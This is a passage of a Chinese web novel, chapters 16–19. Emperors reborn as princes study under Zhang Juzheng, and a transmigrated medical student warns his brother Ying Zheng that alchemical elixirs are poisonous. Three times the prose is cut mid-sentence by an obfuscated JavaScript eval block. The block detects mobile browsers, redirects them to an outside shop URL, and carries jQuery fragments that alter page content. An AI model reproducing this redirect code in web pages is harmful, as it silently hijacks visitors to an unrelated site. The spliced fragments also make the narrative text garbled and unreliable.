赵匡胤说:“先生留的作业太多,小宁一时有点想不开。回去给他吃点好吃的就行了。”
魏忠贤轻言细语地哄周宛宁:“主子,烦心的事儿咱们就先不想了,奴才回去陪您玩儿,您想玩儿什么玩儿什么,锯木头啊,搭房子啊……都行!”
周宛宁:我又不是天启皇帝朱由校!我不喜欢做木工!
他拖着沉重的脚步回去了,路上魏忠贤一直想方设法想逗他开心。
努力程度之深,即便周宛宁心情不好,也不得不承认魏忠贤能当上九千岁真是有点说法的。
“唉,张先生让我回去读三卷书,写四篇策论,还有二十张大字……”
说到这儿,周宛宁忽然心有所感。他想起张白圭似乎是明朝人,于是他试探性地问了一句:“小忠子,你听说过张白圭张先生吗?”
魏忠贤一怔:“张白圭?这名儿是有点耳熟……”
他努力回忆,喃喃:“好像,好像听说几十年前有个大官儿叫这个名字,张……嗯,张白……不对,还是张太……?”
周宛宁猛地想起来了。
明朝,生活在天启朝前几十年的张姓名臣!
用历代帝皇的故事来教育皇子或皇帝!
张居正!!!
16.第 16 章
说起张居正,除了他给大明再续了百年国运以外,最让人唏嘘的就是师生反目。
生前,他手把手教育万历小皇帝,再忙也要给万历检查作业。他还编撰了一套《帝鉴图说》,里面收集了历代皇帝的优秀事迹和反面教材,用来给万历做教学读物。
更让人感动的是,为了让年纪尚小的万历对学习感兴趣,这套《帝鉴图说》是配插图的!
用漫画来进行教育,张居正的教育理念简直领先几百年!
可在张居正死后,他悉心教导的万历皇帝直接一个叛逆大爆发。他给张居正抄家,剥夺生前荣誉,还把他的儿子逼死。直到木匠皇帝朱由校继位,才给张居正恢复名誉。
周宛宁看着自己面前的作业,含泪提笔开始写。
太岳先生,看来你是真不知道自己身后事啊,竟然还在沿用一样的教育方法!
但他不能因此就对张老师有什么怨言……那样的话,他和万历就没什么区别了。
那可是张居正啊,他做的这些肯定是为了学生好。
他要努力,他要奋斗!
等一下,那张居正布置的作业是不是也算一种悼明之作……
吕雉:这孩子写作业的时候傻笑什么呢?
第二天,周宛宁提前了一刻钟时间来到龙图阁。
这一回,几个哥哥基本都早到了。
李世民和赵匡胤在聊天,刘彻的书包在座位上,人不在,估计又去书库里头翻东西了。周承璋一个人安静地在他的座位上看书。
“大哥早!二哥早!三哥早!”
李世民和赵匡胤很同步地转头过来对周宛宁笑笑:“早啊!”
周承璋瞥了弟弟一眼,轻轻点了一下头:“早。”
周宛宁从书包里掏出一个用布仔细包好的锦盒,鬼鬼祟祟地打开,一路小跑来到李世民和赵匡胤面前:
“我有好东西给你们。”
他揭开盒盖,一股甜香扑鼻而来。盒子里码放着一摞大小不一、形状也不一的姜黄色饼干,上头还裹了一层薄薄的细腻糖霜。
周宛宁有点不好意思地说:“昨天我写作业写到夜里,我娘怕我饿,就叫厨房给我做了很多这样的甜饼。我特意要他们多做了一点,哥哥们年纪比我大,饿得也快,上课的时候要是觉得肚子空了就可以垫一垫。”
李世民拿起一枚小马造型的饼干,稀奇地在手里转了转:“你们宣和宫的人手挺巧,这马的鬃毛和眼睛都雕了出来,我倒有点舍不得吃呢。”
赵匡胤直接开始揉搓周宛宁的脸:“小宁!好弟弟!老二,我就说弟弟肯定是贴心的吧,哎呦,好孩子……”
周宛宁费了好大功夫才从赵匡胤的手下逃脱,这有点困难,因为李世民又把他拉过来捏了一通。
你们两个武力值爆表的家伙不要逮着弟弟搓呀!
上学之前,周宛宁就把饼干分成了均匀的五份。给李世民还有赵匡胤留下他们的两份后,他把刘彻那份放到他的桌上,带着最后一份走向周承璋。
周承璋察觉到他的接近,抬头静静地等周宛宁开口。
周宛宁把一小袋饼干放到周承璋桌角,有点不好意思地说:“这是给大哥的,不知道合不合大哥口味。”
周承璋默了默,然后对周宛宁轻轻颔首:“多谢。昨日的桃脯也很好吃。”
得到肯定,周宛宁一下子就高兴起来:“是吗!大哥喜欢就好!”
周承璋脸上还是淡淡的:“但你以后还是别送吃食了。”
周宛宁眨了一下眼睛:“……为什么?”
周承璋平静道:“食物是最夹缠不清的东西,容易投毒。有心之人如果想算计你,我和其他几个人出了问题都会被怀疑到你头上。”
周宛宁:“啊?”
说起来,在医院里也有年资比较高的医生提醒过他,千万不要给患者食物,要是吃出问题来了一定会摊上事……没想到在宫里也是一样!
这下周宛宁进退两难了。他低头看看饼干,又看看周承璋,尴尬得说不出话来,脸憋得通红。
周承璋反问:“德妃没教过你这些?”
周宛宁小声说:“我娘……我娘没说这些……”
可能吕雉打心眼里觉得把他这些兄弟们毒死了也是一桩好事,毕竟她上辈子在毒死皇子这件事上很有心得。
刘如意:为我发声,好吗?
周宛宁想了想,跑回座位,把他自己那份饼干取了过来,然后当着周承璋的面拿了一块,“咔嚓咔嚓”吃进了肚子。
“我把这份给你!”
他把自己试毒过的那份递给了周承璋,保证道:“应该没有问题!要是有问题,我先去见太医!”
周承璋睨他一眼,忽然微微勾起嘴角,把他手里的纸包拿走,顺手把先前放在桌角那份也收起来了。
他握住两只纸包,轻松地对周宛宁说:“多谢五弟为我试吃,这两份我就都笑纳了。”
周宛宁:?
不是,他怎么一人拿两份啊?!
周承璋一点没有自己正在欺负小孩的自觉,他又一本正经地问周宛宁:“五弟怎么还在四处游逛?今日课程的内容预习过了么?”
周宛宁张了张口,呆滞道:“预、预习过了……我娘已经叫我把课本背了一遍……”
周承璋脸上流露出欣赏之色:“这样啊,甚好。那今天的字练完了吗?三卷书有没有读完?每日是不是也该空出点时间练习剑术?”
周宛宁:…………
从昨天周承璋和刘彻辩论法家还是儒家的时候,他就在想了:
周承璋你是不是大秦的人啊?
从汉代开始,哪有人还搞法家。
身为秦人,除了读书,每日练剑也是可以理解的。虎狼之秦嘛,练好武艺,出门砍人还能给自己加爵位呢。
你们秦人就卷吧!
周宛宁皱皱巴巴委委屈屈地回去读书了,周承璋看着他的背影,自己都没察觉到嘴角已经悄悄上扬。
那个野心勃勃、城府深沉的德妃竟然能养出这样天然纯粹的儿子,真是有趣。
张白圭准时出现在了龙图阁。
他把诸位皇子的作业收了上来,检查了一遍之后,看起来很是满意:“不错,不错。大家都有在尽心完成,策论言之有物,五殿下的字也都认真在练了。虽说字形犹有不足,但水滴石穿非一日之功,五殿下还请坚持。”
周宛宁脸上挤出了很难看的笑:“我……我努力坚持!”
不坚持还能怎么办呢,人家张老师
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878134|191236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还不容易带了一个基地班,班里都是尖子生,他也不能给班级拖后腿呀。
这应该是张老师带过最好的一届学生了!
这堂课结束后,张白圭照旧布置了今日的作业。
周宛宁依旧要多写二十篇大字,他已经认命了。因为昨天回去之后吕雉就对张白圭的教学进行了夸赞,并声称:就算张白圭不要求,她也会按着周宛宁天天练字。
万历,你当年过的就是这样的日子吗?
不对,他应该比万历要幸福点,至少吕雉不喜欢罚他跪。
上学的日子过得很快。
雪融春至之时,宫里又有了新的变化。
蹴鞠场和马球场多了许多清理的宫人,天暖了,赵佶准备重启球赛了。宫人们需要先把场地清理出来,清点仓库里的装备,确保皇帝想踢球打球的时候随时能准备好。
吕雉前往紫宸殿的频率也更加高。
宫里又要进一批新人,她和惠妃已经被定下来主持这一次选秀,她要抓住这次机会,给各宫安插一批眼线。
周宛宁并不操心这些事,毕竟他又没法和赵佶一块儿踢球,也掺和不到选秀里去。
他的生活很单调,上学,刷周承璋和张白圭的好感度,放学,写作业,写累了就去刷六弟的好感度。
这一日,周宛宁去周靖燕房里的时候,一进屋就看到奶娘喜气洋洋的笑脸。
他脱掉外袍,好奇地问:“怎么了?”
奶娘说:“六殿下会爬了!”
周宛宁听了,连忙去看:“真的吗!太好了!”
六坐七爬,当初学《儿科学》的时候周宛宁背过口诀。周靖燕眼下也就六个月,没想到他直接越过了坐的这个阶段,迅速跨入爬行动物的范畴。
周宛宁一进屋,就看到婴儿床里有个小玩意儿在“嗖嗖嗖嗖”到处蠕动。
他赶紧跑了过去,紧张地伸手稳住床边护栏:“好了好了,天啊,我们靖燕真是个活泼的小伙子……”
听到周宛宁的声音,周靖燕用小手抓住护栏,摇摇晃晃地就想往上扒拉。
周宛宁抓住他的腋下,小心翼翼地扶住弟弟:“别激动,好宝,小心摔了……”
周靖燕对着周宛宁异常灿烂地笑起来:“呱!”
周宛宁也笑着哄他:“嗯,靖燕真棒!”
周靖燕:“呱呱!”
周宛宁:“对对,顶呱呱,顶呱呱。”
周靖燕:“呱呱!”
奶娘在一边说:“六殿下这是在叫哥哥呢。”
周宛宁有点懵:“啊?他在叫哥哥?这个年纪的小孩已经能说话了吗?”
周靖燕“噗”一下向后一坐,然后对周宛宁伸手挥挥:“呱呱,呱呱……”
奶娘熟练地将周靖燕抱起来,轻轻递给周宛宁。周宛宁坐到床沿接住周靖燕,温柔地晃晃他:“好,我是呱呱,你是弟弟。呱呱喜欢弟弟,弟弟也喜欢呱呱,对不对?”
周靖燕:“啊!”
【检测到宿主已满足好感度等级需求,是否解锁隐藏资料?】
提示音来得有些猝不及防,周宛宁愣了愣,选择了“解锁”。
【周靖燕】
【真名:朱棣】
【重生前身份:明成祖】
17.第 17 章
哥哥莫名的沉默让朱棣有点疑惑。
但他很快就想开了:这小孩一定是被他深深感动了吧。
唉!六岁的孩子,稍微哄哄就能被感动到失语,真单纯啊!
这也是没有办法的事,毕竟他是率八百燕骑起兵,四年打到南京的永乐帝,是天才来的。
和普通的婴儿相比,他不乱流口水,不瞎啃东西,不夜哭,奶娘逢人就说他聪慧,他的养母德妃看起来也对他很满意……
哼哼,永乐帝又要重新开始他的征服之路了!
傲气面对万重浪!热血好似红日光!
热!血!
周宛宁:…………
他看着莫名其妙开心起来的朱棣,默默想:不愧是你啊,永乐。乐起来就不停。
好了,这下他的兄弟们就凑成了皇帝全家桶。他大哥周承璋的身份大概率也是某位皇帝,或者君王,而且估计是商鞅变法后的秦王……
哦,等一下。如果大哥是秦王,那他和二哥究竟谁是真·秦王?
《秦王破阵乐》要算谁的歌呢?
他摸了摸朱棣婴儿肥的脸,又摸摸他的小手,忧郁道:“靖燕,以后保家卫国就靠你了。你可千万不能让蒙兀人南下啊!”
朱棣:“呀!”
包在他身上!!!
好孩子,好样的。哥哥继续写作业去了……
周宛宁回到寝殿,竟然看到刘彻正坐在他的位置上翻看他的策论,看得津津有味。
周宛宁眼睛亮了:“四哥,你是来替我写作业的吗?”
刘彻一翻眼睛:“想得美。小孩子别总幻想不劳而获……我来找你是有正事儿。”
周宛宁吩咐小顺子去给刘彻准备茶点,他坐到刘彻旁边,问:“有什么我能参与的正事吗?”
刘彻说:“当然有。我打算过几天就去向张先生申请,让他允许我以后和周承璋一起听课,也和他做一样的作业。”
刘彻要去高级班了?
不过这倒也并不是很奇怪。毕竟他是汉武大帝,张白圭讲的那些东西对他来说算是小菜一碟。说不定高级班的内容他都会觉得浅显。
不过……
“四哥你跟我说这些做什么?”
周宛宁是真的有点茫然,毕竟他不觉得刘彻是来跟他商量的,更不可能是来征求他的同意。
刘彻说:“你听我说完呀!其实,我发现老二老三应该都早就想去和周承璋一起听课了,可他们谁都没开口,估计是还在观望。但只要我第一个出头——”
周宛宁懂了刘彻的意思:“他们也会跟张先生说想要去和大哥一起听课?”
刘彻欣慰:“哎,对,孺子可教,孺子可教。”
周宛宁更茫然:“这样不好吗?你们都比较厉害,去听进阶的课程会更适合吧,没有必要和我一起在初级班浪费时间。”
刘彻叹了口气:“你这孩子啊,聪明的时候是真的聪明,写的策论里不乏新颖的论点。可你在人心上却缺乏算计……这倒也不怪你,你年纪小,不懂这些也正常。”
周宛宁:我能和你们这些当过皇帝的人精比吗QAQ
他上辈子也只是个男大学生呀!大半辈子都在读书,学识是足够了,可对社会险恶的见识确实不够。
刘彻提醒他:“我们几个全都和周承璋听一样的课,只有你还在开蒙,你让宫里其他人怎么想?你让父皇怎么想?”
周宛宁反应过来:“……对哦,这样会显得我最笨。”
周宛宁倒是不介意这些,毕竟他比不过这些哥哥是事实。他可能连睡觉的时候还不自觉会流口水的朱棣都不如。
但吕雉肯定会介意。
她把自己后半生的政治野心都寄托在周宛宁继位这件事上,绝不会允许她儿子才六岁就被当做傻子。
周宛宁问:“那怎么办?”
刘彻也不像是那种会为了迁就弟弟就憋屈自己的人呐。
刘彻笑眯眯地说:“简单,你跟我们一起去上新课不就行了?”
周宛宁:?
周宛宁瞪大眼睛:“我也去?!”
他跟得上嘛他!
刘彻拍拍胸膛,正气凛然道:“跟得上,跟得上,只要你在这几天把周承璋学过的那几本书弄懂就可以了!”
周宛宁:??????
周宛宁都错乱了:“这,可,可是,这,我——我做不到啊!”
刘彻:“这有什么做不到的,只要废寝忘食地学几天就行。小宁,你很聪明,我很看好你!”
周宛宁:“这不对吧!!!”
当初考研的时候他都没这么学过呀!
刘彻离去前,对他露出一抹温柔的笑:“加油,我看好你,你说不定能成为这个时代的董仲舒。”
周宛宁:我从来就没想当五经博士!!!
更何况董仲舒也不是几天速成的呀!
怎么不让他去做司马迁呢,周宛宁要是成了史官,估计也会像司马迁一样把刘彻的恶行都记录下来。
刘彻,大坏蛋……强迫弟弟学习……
周宛宁抹抹眼泪,很快又发现一个新的问题:
就算要学,他也不知道该学什么。
张白圭的教育可不像是义务教育,会有考纲课纲。皇子们学什么都是他自己定的,赵佶都不怎么过问。
所以,要想知道自己该怎么补习,周宛宁还得去找一趟周承璋,亲口询问他过去的学习进度。
一想到要去找周承璋,周宛宁就觉得浑身打哆嗦。
周承璋会帮他吗?
周宛宁有些坐立不安。
吕雉又去紫宸殿伴驾了,不知何时才能回来,有可能今夜都不会回来。
没有妈妈可以询问,周宛宁失了主心骨,一时间举棋不定。
魏忠贤见周宛宁不自觉地开始啃指甲,于是悄悄凑近,大着胆子问:“主子可是有什么事烦心?”
周宛宁觑了一眼魏忠贤,稍犹豫了片刻,还是决定死马当活马医。
人家可是权倾朝野的九千岁,他的谋略即便比不上吕雉,也一定比周宛宁自己强,听听他的建议没有坏处。
“是这样,刚才四哥来跟我说……”
周宛宁将刘彻建议他一起去上高级班的事儿说了,然后为难地蜷起手指:“我想去和娘商量商量,但娘最近忙选秀的事,我不想让她多操心。”
魏忠
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882569|191236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
贤赞同道:“是啊,德妃娘娘这些时日甚是操劳。再说了,她也一定会同意四殿下的提议,让您尽快跟上其他殿下的进度。”
周宛宁得到预想之中的答案,叹了口气:“如果要追上进度,我自己闭门造车肯定是不行。可二哥三哥他们大概不会赞同我揠苗助长,四哥博览群书,他没必要特意去查张先生的授课内容。只有大哥……”
魏忠贤观察着周宛宁的脸色,恰到好处地把他的心声说了出来:“主子害怕去问大殿下?”
周宛宁的脸皱了起来:“……嗯。”
魏忠贤宽慰道:“奴才和大殿下虽然只有几面之缘,但听宫里的人说,大殿下一丝不苟,但不是个暴虐的人。再说了,主子您这些日子也给大殿下送过不少零嘴儿,看在零嘴儿的份上,他也不会对弟弟恶言相向。”
周宛宁垂头想了一会儿,最终还是做出了决定:“那我就去找一趟大哥!小忠子,你去厨房,把我本来打算做夜宵吃的红薯山药泥带上。”
如果这是现代,他就得拎一箱牛奶再拎两兜子水果,出门之后在上超市买包旺旺大礼包,一起送到周承璋的家里。
礼轻情意重,诚意,重点是诚意!
景阳宫。
先皇后死后,李世民还在后苑居住,但周承璋以读书为由,搬到了距离龙图阁和前朝更近的景阳宫。
院里,周承璋正在习剑。
听到周宛宁来访的通传,周承璋也没有停下,继续专心致志舞着剑招。
他使的剑看起来有些古怪,剑刃偏厚,没有护手,比寻常的剑还要再长一尺。但周承璋天生高挑,练剑时他穿得比较薄,显出衣衫下也有结实的薄肌。双臂轮舞间,长剑都成了虚影,都看不到剑锋所向。
周宛宁站在宫门处,艳羡地看着周承璋心无旁骛地舞剑。他面容冷硬,剑像是手臂的衍生,若是眼下真有敌人,周宛宁毫不怀疑他会斩掉敌人的头颅。
一整套剑招完毕,周承璋才收起剑,拿起布巾擦汗,转向弟弟:
“你来找我做什么?”
周宛宁赶紧把脸上残余的神往之色晃掉,认认真真向他行礼:“大哥!”
周承璋轻轻抬了一下下巴:“行了。有话直说。”
周宛宁小步上前,坦白:“我……我想问大哥这些年都学过哪些书,张先生都教过哪些东西。我自己也想快些赶上大哥。”
周承璋打量了他一眼,直截了当地问:“老二老三老四他们几个不想和你一起念书了?所以你也想快些来和我学一样的内容?”
周宛宁:“大哥你是怎么……”
周承璋不在意地冷笑一声:“每次张先生给我单独授课时,我都能看到他们几个在偷听,心思昭然若揭。你倒是没这个心思,但他们要是都想进步,德妃也不可能让你一个人留在原地。”
说到这儿,周承璋微微眯起眼睛:“不过,我很意外,你为什么敢直接来找我?”
“讲学内容并非机密,可告诉你,对我也没什么好处。你要用什么来说服我,或者打动我呢?”
周宛宁小心地看了一眼周承璋,迎着他似笑非笑的眼神,周宛宁小声说:
“我用一个秘密和你换。”
18.第 18 章
周宛宁左右看了看,神神秘秘地凑到周承璋面前,说:
“先帝好像是被毒死的。”
周承璋闻言,神情倒是没变,可眼神明显透出一霎寒光:“你怎么知道?”
周宛宁大着胆子去扯周承璋的袖子,周承璋没有反抗,由着周宛宁把他拉到院中的石凳上坐下。
周宛宁坐到周承璋面前,认认真真地说:“是我猜的,但我觉得我猜得有七八成准。”
周承璋冷淡道:“你的依据是什么?”
周宛宁说:“四哥他住在太清阁,那里以前是先帝修道的地方,四哥小时候翻出来很多丹方,都是先帝炼过的丹药。四哥对长生不老也很感兴趣,他还给我和我娘看过他找出来的那些丹方呢。”
周承璋:“你看过丹方?”
周宛宁点头,但随即摇头:“我娘不让我了解太多。她把四哥骂了一顿,说他小小年纪就找死,碰什么不好,非要去炼丹……我娘说了,丹药都有毒。”
周承璋矢口否认:“丹药怎么会有毒?”
周宛宁茫然:“当然有毒,我看到丹方里有水银、丹砂还有铅粉,这些东西单吃都有毒呢,放在一起的毒性肯定更强呀。”
周承璋:“丹砂是金丹的主要成分!”
周宛宁惊奇地看向周承璋:“大哥也很熟悉炼丹吗?大哥,你可千万不要尝试。我娘有族亲也喜欢炼丹,结果那家人都渐渐疯魔了。手抖啊,易怒啊,气短咳嗽啊,皮肤溃烂,口腔破溃,后来那家人的儿媳妇甚至生了一个畸形胎!”
周承璋:!
他,他上辈子最后一次出巡的时候好像确实也有这些症状……
但他没有生畸形胎,因为他没有这个功能。
是巧合吗?
周宛宁还在绘声绘色地描述呢:“我娘说,那家的老夫人得了病,她儿子就炼了金丹给她吃。谁料老夫人吃过金丹就腹痛,呕吐,没多久就不省人事,隔天就死了。和先帝的死法一样呢!内廷起居注里头写了,但是父皇不让翰林院修史的时候把这部分记下来,我是偷偷在龙图阁查到的。”
周承璋:…………
周承璋张开口想说话,周承璋闭上嘴又不说了。
弟弟才六岁,他能说谎吗?
而且,退一万步说,他上辈子也确实是死了,吃了金丹没用,不然他也不可能现在在这里从零开始当皇子。
可恶,又被方士骗了!
当初还是坑少了!!!
周宛宁只听见系统“滴”一声提示,美妙的功德哗哗到账:
【检测到宿主主动规劝大皇子远离有毒物质,满足行善条件,功德值+50】
天啊,这一次功德值加得好多,看来周承璋是真的听进去了!
好耶!周大夫今天又挽救了一名少年免于误入修仙歧途!
总有一天,他会把刘彻也掰回来的。
周承璋在原地生了一会儿闷气,不知道是生自己的气还是生方士的气。
见他这样,周宛宁让魏忠贤把红薯山药泥拿了出来,推给周承璋:“大哥刚才练剑累不累?我给你带了红薯山药泥!甜甜的,用勺子挖着吃,很顶饿。”
周承璋默不作声地接过,狠狠挖了一大勺,用“壮志饥餐胡虏肉”的架势开始吃。
化悲愤为食欲!
周宛宁同情地看着他,心想:看来他没猜错。他的好大哥有百分之九十的概率是始皇帝。
换了别人,听说有人吃丹药吃死了只会嘲笑,说:啊哈哈哈,你看那个大傻子,竟然相信吃金丹能长生不老哎!
但始皇陛下只会默默破防。
但始皇陛下有一点好,他不会嘴硬。
换了刘彻,他就会狡辩:“我没有被方士骗啊,我有自己的节奏。我给方士封侯只是权宜之计,一切都在我的掌控内,我并没有相信方士的话,我只是想看看他们还有什么伎俩,我很清醒!我有自己的节奏!”
周承璋默默吃完了一碗红薯山药泥,甜食帮他缓了过来。他放下勺子,问:
“这道甜品倒是绵软易食,其中的红薯是何物?”
周宛宁赶紧推荐:“是我们宣和宫宫里种的!前些年南洋来的贡品里有这种植物,父皇给宣和宫赏了一些。因为我喜欢,我娘就叫宫里留种种了一些。本来以为种不活,没想到产量还不少呢。”
周承璋点了点头,低声说:“多谢。”
周宛宁又往周承璋旁边凑了凑,他大着胆子轻轻拍了一下周承璋的背,问:“哥哥是在因为丹药的事情不高兴吗?”
周承璋一字一顿地吐出一句话:“那些方士欺瞒皇帝……该杀!”
周宛宁一起跟着点头:“该杀!”
周承璋稍稍抬起头,他目光有些涣散,没有焦距地喃喃:“既然金丹无用,难道真的不可能长生吗?”
周宛宁坦然道:“做不到吧。”
周承璋看向周宛宁,神色郁郁:“你凭什么这么断定?”
周宛宁说:“有生就有死,就像有开心就会有难过。天天开心那不叫开心,一天开心一天难过,这样开心才有意义。”
他想了想,又补充了一句:“要是人人都能一直一直活下去,太祖陛下就一直在位,父皇就不可能登基啦。”
周承璋:哦对,也确实。
虽然知道和一个六岁的小孩子讨论生死是一件很荒谬的事,但周承璋还是忍不住辩驳:“世间凡庸之人当然没有资格长生,可总有那么一些功绩显赫的人,他们创下不世之功名,千古难以有人企及,难道他们也没有资格长生吗?”
周宛宁目露疑惑之色:“资格?唔,难道老天爷会像张先生那样,按照我们作业的好坏给我们打分,作业写得最好的人就可以一直活下去?”
周承璋:“大概是这样。”
周宛宁说:“可如果是这样的话,谁也不知道老天爷究竟喜欢哪种人呀。张先生的打分标准我都猜不透,我们谁都没见过老天爷,更猜不到老天爷的想法了。万一,我说万一,老天爷要是特别喜欢踢蹴鞠,他规定只有在世界蹴鞠大赛里得到过金杯的人才能长生,这样又要怎么办呢?”
周承璋:?
那完了,整个华夏没人能长生了。
周承璋被周宛宁的比喻逗得笑了一下,他又无奈地绷住脸,抬手轻轻摸了摸周宛宁的头顶。
“胡说八道。”他斥责,语气却很柔和,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885753|191236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不许这么妄议天意。”
这是周宛宁第一次和周承璋有如此亲密的接触。他顺从地低下头,像只温驯的小狗,心想:天意不天意的,他倒也不是很在乎,他只想要进入张白圭的高级班。
卷王无心修道,卷王只想好好上学!
【检测到宿主已满足好感度等级需求,是否解锁隐藏资料?】
提示音恰到好处地响了起来,周宛宁看了一眼周承璋。
对上弟弟的眼神,周承璋欲盖弥彰地咳嗽了一声,转移话题:“你是想问怎么做才能和我一起听张先生的课?我已经跟着张先生上了许多年,那么多书你全部读完也不现实。我给你列一些重点吧,张先生比较看重吏治与税法……”
周宛宁:原来大哥是傲娇。
【周承璋】
【真名:嬴政】
【重生前身份:秦始皇】
周宛宁在看到“嬴政”这两个字的时候,内心已经没什么波动了。
哈哈,哈哈……秦皇汉武,唐宗宋祖,还有一个永乐大帝,他就是要跟这几个人做兄弟,争皇位。好啊,太好了,真是好得不得了。
赵佶,你何德何能做这些人的爹?
你只配做赵桓和赵构的爹啊!!!
质朴的老秦人嬴政还在给弟弟划重点,他叫周宛宁跟着一起到寝殿里去,他要给周宛宁手写一份书单,也算是报答这几个月周宛宁给他的零食投喂。
周宛宁跟着嬴政来到景阳宫宫内,他还有些好奇地四下张望了一圈,到处观察殿内的陈设。
嬴政当然察觉到周宛宁莫名的兴奋。他铺好纸,提起笔,随口问:“看什么呢?”
周宛宁:看阿房宫。
鼎铛玉石呢,金块珠砾呢?
他要看廊腰缦回,檐牙高啄!
周宛宁哼哼唧唧地答:“想看看大哥房间里都有什么好玩的东西。”
嬴政淡淡笑了一下:“这世上也没什么东西能让我感觉‘好玩’了。”
周宛宁:胡说八道,要是我给你端一盒“长生不老药”,你现在就能跳起来。
很快,嬴政就写完了一份重点书单。周宛宁捧着书单仔仔细细地看,嬴政还有些不放心,拉着周宛宁嘱咐:“张先生其实对学生要求很高,你不要掉以轻心,不要死记硬背,一定要把道理吃透。若是还有不懂的,可以来问我。”
周宛宁仰起头,双眼闪亮亮:“真的吗!大哥!”
嬴政给出了老秦人的承诺:“那是自然。”
周宛宁拽着嬴政的袖子也很认真地说:“大哥,你是大好人!我会好好学习,不辜负大哥的帮助的!”
他会用“鉴定术”认真给嬴政这辈子的所有儿子扫一遍,要是里头有胡亥,他会第一时间摇人加以铲除!
嬴政倒不觉得这个年纪小又有一点傻的弟弟能帮到自己什么,不过弟弟既然这么说了,他也漫不经心地回应了几句:“行了,无事的话你就快去龙图阁找书吧,别耽误了学习的时间。”
周宛宁攥紧拳头:“好的!”
他珍而重之地收起书单,认真叠好放进怀里。
这可是始皇帝的亲笔,嘻嘻。
学习去咯!
19.第 19 章
吕雉普通的一天
卯时:起床,洗漱用膳,准备去尚宫局清点宫女名录。发现儿子在读书,欣慰。
辰时:拉拢尚宫局主事,拿到各宫缺额清单,准备在选秀中挑人给各宫安插眼线。
巳时:回宫梳妆换衣服,发现儿子在读书,欣慰。掐好时间去马球场“偶遇”皇帝。
午时:打马球,打完陪皇帝用午膳,给惠妃上眼药。
未时:和皇帝一起睡午觉。但不一定只睡觉。
申时:回宫梳洗更衣,发现儿子在读书,欣慰。
酉时:用晚膳,叫儿子过来一起用晚膳——小宁怎么还在读书?
戌时:今夜皇帝没翻自己的牌子,准备就寝,发现儿子还在读书,劝儿子早点睡觉。
亥时:儿子怎么还在读书!别读了!!!
子时:把儿子用被子捆成卷强迫他睡觉,威胁他不好好睡觉的小孩会被做成人彘,并决定明天把怂恿孩子废寝忘食读书的刘彻叫过来臭骂一顿。
刘季在小宁这个年纪还只知道流着鼻涕看狗打架呢,也不影响他当皇帝啊,把孩子小小年纪就累坏了算谁的?
你刘彻把自己的太子教好了吗,跑到她这儿来带坏她的儿子!
刘彻:我儿子除了造我的反之外都挺好的,更何况你儿子刘盈也不咋地啊!
周宛宁倒是不知道他妈妈和刘彻背地里的交锋,他已经完全进入了心流模式,两眼一睁就是学,一张嘴巴就是背。
生命在于学习!生命在于背题!
搞政治,玩心计,这些事周宛宁都不擅长。可他偏偏最擅长学习。
他大哥嬴政六岁的时候就在赵国做人质,再苦再难,能有嬴政难吗?他有什么理由不努力?!
刘彻被吕雉叫过去臭骂的时候还挺不服气,他觉得自己鼓励弟弟发奋用功这件事没什么错。
这年头劝学还能劝出问题来吗?
孩子学习胡亥你就满意了?
但吕雉揪着他的耳朵把他拖去看周宛宁现在的状态之后,刘彻都有点懵了。
只见高高的书堆后面埋着一个小小的脑袋,周宛宁手中拿着一卷书,脸上手上都沾了墨渍,桌上散落着凌乱的稿纸,双目无神地喃喃自语:
“……或问井田可复既得闻命矣若夫定税则如何而后可曰斯民之苦暴税久矣……”(*注)
刘彻:…………
忽然,周宛宁把笔一扔,原地站了起来,举臂高呼:“对!对!是这样的!我也推出来了!收税越少,收税就越多!”
“税越少!所以税越多!税越少!税越多!”
吕雉脸上第一次露出惊恐的神情,她再也顾不得许多,立刻冲了过去,颤抖地搂住周宛宁,摇晃儿子:
“小宁,小宁,你怎么了?你不要吓娘啊!”
人彘能把刘盈吓疯,可没人说过学习能把人学疯啊?
她可不能再疯一个儿子了!!!
刘彻也看得目瞪口呆,他捡起周宛宁桌上的草稿纸,展开看了看,只觉得上面的字就跟鬼画符一样,他压根儿看不懂。
这什么啊,什么叉叉又横杠的,干什么呢,画符吗?
不好,弟弟真的疯了!都觉醒道士的技能了!这别是巫蛊之术吧?
周宛宁被吕雉抱住,他恍惚回神,然后激动地揪住吕雉的衣襟,邀功道:
“娘!娘!我刚才想明白了一个道理,要是说给张先生,他一定能同意我去高级班!”
吕雉双眼含泪,捧住周宛宁的脸说:“小宁,娘不要你学得多么多么好,娘只要你好好活着,你可千万别想不开啊!”
周宛宁:?
周宛宁茫然:“啊?”
